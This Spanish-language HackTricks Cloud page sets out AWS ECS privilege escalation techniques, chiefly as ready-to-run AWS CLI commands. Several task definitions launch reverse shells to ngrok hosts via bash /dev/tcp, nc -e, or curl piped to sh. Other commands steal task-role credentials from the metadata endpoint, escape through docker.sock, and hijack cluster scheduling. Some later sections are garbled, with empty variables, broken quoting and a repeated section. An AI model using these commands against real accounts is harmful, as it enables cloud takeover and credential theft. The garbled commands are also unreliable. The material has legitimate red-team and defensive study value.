AWS - ECS Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

ECS

Más info sobre ECS en:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition y ecs:RunTask en ECS puede generar una nueva task definition con un contenedor malicioso que robe las credenciales de metadatos y ejecutarlo.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Privesc directo a un rol ECS diferente.

iam:PassRole,ecs:RunTask

Un atacante que tenga los permisos iam:PassRole y ecs:RunTask puede iniciar una nueva tarea ECS con los valores modificados de execution role, task role y command del contenedor. El comando CLI ecs run-task contiene el flag --overrides que permite cambiar en tiempo de ejecución executionRoleArn, taskRoleArn y el command del contenedor sin tocar la task definition.

The specified IAM roles for taskRoleArn and executionRoleArn must trust/allow to be assumed by the ecs-tasks.amazonaws.com in its trust policy.

Además, el atacante necesita conocer:

  • ECS cluster name
  • VPC Subnet
  • Security group (Si no se especifica, se usará el grupo por defecto)
  • Task Definition Name and revision
  • Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

En el fragmento de código anterior un atacante sobrescribe solo el valor de taskRoleArn. Sin embargo, el atacante debe tener el permiso iam:PassRole sobre el taskRoleArn especificado en el comando y el executionRoleArn especificado en la definición de la tarea para que el ataque ocurra.

Si el IAM role que el atacante puede pasar tiene suficientes privilegios para descargar la imagen de ECR e iniciar la tarea de ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) entonces el atacante puede especificar el mismo IAM role para ambos executionRoleArn y taskRoleArn en el comando ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impacto potencial: Escalada de privilegios directa a cualquier rol de tarea de ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que robe las credenciales de metadata y ejecutarla.
Sin embargo, en este caso, se necesita una instancia de contenedor para ejecutar la definición de tarea maliciosa.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto potencial: Privesc directo a cualquier rol de ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService en ECS puede generar una nueva definición de tarea con un contenedor malicioso que robe las credenciales de metadatos y ejecutarla creando un nuevo servicio con al menos 1 tarea en ejecución.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto potencial: Privesc directo a cualquier ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un container con un role arbitrario con algo como:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto potencial: Direct privesc to any ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Este escenario es como los anteriores pero sin el permiso iam:PassRole.
Esto sigue siendo interesante porque si puedes ejecutar un container arbitrario, incluso si no tiene un role, podrías run a privileged container to escape al node y steal the EC2 IAM role y los the other ECS containers roles que se ejecutan en el node.
Incluso podrías force other tasks to run inside the EC2 instance que comprometas para robar sus credenciales (como se discute en la Privesc to node section).

Warning

Este ataque solo es posible si el ECS cluster is using EC2 instances y no Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un atacante con la ecs:ExecuteCommand, ecs:DescribeTasks puede ejecutar comandos dentro de un contenedor en ejecución y exfiltrar el rol IAM adjunto a este (necesitas los permisos describe porque es necesario ejecutar aws ecs execute-command).
Sin embargo, para hacer eso, la instancia del contenedor necesita tener en ejecución el ExecuteCommand agent (que por defecto no lo está).

Por lo tanto, el atacante podría intentar:

  • Intentar ejecutar un comando en cada contenedor en ejecución
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Una vez que tienes un shell dentro del container, normalmente puedes extraer las task role credentials desde el task credentials endpoint y reutilizarlas fuera del container:

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
  • Si tiene ecs:RunTask, ejecuta una tarea con aws ecs run-task --enable-execute-command [...]
  • Si tiene ecs:StartTask, ejecuta una tarea con aws ecs start-task --enable-execute-command [...]
  • Si tiene ecs:CreateService, crea un service con aws ecs create-service --enable-execute-command [...]
  • Si tiene ecs:UpdateService, actualiza un service con aws ecs update-service --enable-execute-command [...]

Puedes encontrar ejemplos de esas opciones en secciones anteriores de ECS privesc.

Impacto potencial: Privesc a un rol diferente asociado a contenedores.

ssm:StartSession

Consulta la página ssm privesc para ver cómo puedes abusar de este permiso y privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Consulta la página ec2 privesc para ver cómo puedes abusar de estos permisos y privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Un atacante con estos permisos puede a menudo convertir la “pertenencia al cluster” en una evasión del límite de seguridad:

  • Registrar una instancia EC2 controlada por el atacante en un cluster ECS de la víctima (convirtiéndola en una container instance)
  • Configurar atributos personalizados de container instance para satisfacer placement constraints
  • Permitir que ECS programe tareas en ese host
  • Robar las task role credentials (y cualquier secreto/dato dentro del contenedor) de la tarea que se esté ejecutando en tu host

Flujo de trabajo a alto nivel:

  1. Obtén un documento de identidad de la instancia EC2 + firma de una instancia EC2 que controles en la cuenta objetivo (por ejemplo vía SSM/SSH):
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
  1. Regístralo en el cluster de destino, opcionalmente estableciendo atributos para satisfacer las restricciones de colocación:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
  1. Confirma que se unió:
aws ecs list-container-instances --cluster "$CLUSTER"
  1. Inicia una task / actualiza un service para que algo se programe en la instance, luego extrae los task role creds desde dentro del task:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Notas:

  • Registrar una instancia de contenedor usando el documento/firma de identidad de la instancia implica que tienes acceso a una instancia EC2 en la cuenta objetivo (o que la has comprometido). Para cross-account “bring your own EC2”, consulta la técnica ECS Anywhere en esta página.
  • Las restricciones de ubicación suelen depender de atributos de la instancia de contenedor. Enuméralos mediante ecs:DescribeServices, ecs:DescribeTaskDefinition y ecs:DescribeContainerInstances para saber qué atributos necesitas establecer.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Note

TODO: Probar esto

Un atacante con los permisos ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet y ecs:DescribeTaskSets puede crear un conjunto de tareas malicioso para un servicio ECS existente y actualizar el conjunto de tareas principal. Esto permite al atacante ejecutar código arbitrario dentro del servicio.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto potencial: Ejecutar código arbitrario en el servicio afectado, lo que puede afectar su funcionalidad o exfiltrar datos sensibles.

Referencias

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Comandos (us-east-1):

  • Requisitos previos

  • Crear Launch Template para que el ECS agent se una al clúster objetivo

  • Crear Auto Scaling Group

  • Crear Capacity Provider desde el ASG

  • Asociar el Capacity Provider al clúster (opcionalmente como predeterminado)

  • Migrar un servicio a tu provider

  • Verificar que las tareas se ejecuten en instancias controladas por el atacante

  • Opcional: Desde la instancia EC2, docker exec en los contenedores objetivo y leer http://169.254.170.2 para obtener las credenciales del role de tarea.

  • Limpieza

Impacto potencial: Nodos EC2 controlados por el atacante reciben tareas de la víctima, permitiendo acceso a nivel de SO a los contenedores y el robo de credenciales IAM del task role.

Comandos paso a paso (copiar/pegar)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment

TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abuse ECS Anywhere to register an attacker-controlled host as an EXTERNAL container instance in a victim ECS cluster and run tasks on that host using privileged task and execution roles. This grants OS-level control over where tasks run (your own machine) and allows credential/data theft from tasks and attached volumes without touching capacity providers or ASGs.

  • Permisos requeridos (ejemplo mínimo):

  • ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

  • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

  • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para el instance role de ECS Anywhere y los task/execution roles)

  • logs:CreateLogGroup/Stream, logs:PutLogEvents (si se usa awslogs)

  • Impacto: Ejecutar contenedores arbitrarios con el taskRoleArn elegido en el host del atacante; exfiltrar credenciales de task-role desde 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acceder a cualquier volumen montado por las tareas; más sigiloso que manipular capacity providers/ASGs.

Pasos

  1. Crear/identificar clúster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. Crear rol de ECS Anywhere y activación de SSM (para instancia on-prem/EXTERNAL)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. Provisionar el host attacker y registrarlo automáticamente como EXTERNAL (ejemplo: small AL2 EC2 como “on‑prem”)
user-data.sh ```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```
```bash AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` 4) Verificar que la instancia de contenedor EXTERNAL se haya unido ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` 5) Crear task/execution roles, registrar una EXTERNAL task definition y ejecutarla en el host del atacante ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy aws iam create-role --role-name ht-ecs-task-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' # attach any privileges you want to abuse to this task role

task def (EXTERNAL launch)

cat > td-external.json << ‘JSON’ { “family”: “ht-external”, “requiresCompatibilities”: [ “EXTERNAL” ], “networkMode”: “bridge”, “memory”: “256”, “cpu”: “128”, “executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”, “taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”, “containerDefinitions”: [ {“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”, “entryPoint”:[“/bin/sh”,“-c”], “command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”], “memory”: 128, “logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}} } ] } JSON aws logs create-log-group –log-group-name /ht/ecs/anywhere || true aws ecs register-task-definition –cli-input-json file://td-external.json CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text) aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external
–container-instances $CI

6) Desde aquí controlas el host que ejecuta las tasks. Puedes leer los task logs (si awslogs) o ejecutar directamente en el host para exfiltrar credenciales/datos de tus tasks.



#### Ejemplo de comando (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un atacante con permisos para gestionar ECS capacity providers y actualizar services puede crear un EC2 Auto Scaling Group que controle, envolverlo en un ECS Capacity Provider, asociarlo al target cluster y migrar un servicio víctima para que use ese provider. Entonces, las tasks se programarán en EC2 instances controladas por el atacante, permitiendo acceso a nivel OS para inspeccionar containers y robar task role credentials.

Commands (us-east-1):

- Prerequisitos



- Crear Launch Template para que el ECS agent se una al target cluster



- Crear Auto Scaling Group



- Crear Capacity Provider desde el ASG



- Asociar el Capacity Provider al cluster (opcionalmente como default)



- Migrar un service para que use tu provider



- Verificar que las tasks se ejecuten en instancias controladas por el atacante



- Opcional: Desde el nodo EC2, ejecutar docker exec en los target containers y leer http://169.254.170.2 para obtener los task role credentials.

- Limpieza



**Impacto potencial:** Las EC2 nodes controladas por el atacante reciben victim tasks, permitiendo acceso a nivel OS a los containers y el robo de task IAM role credentials.
> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>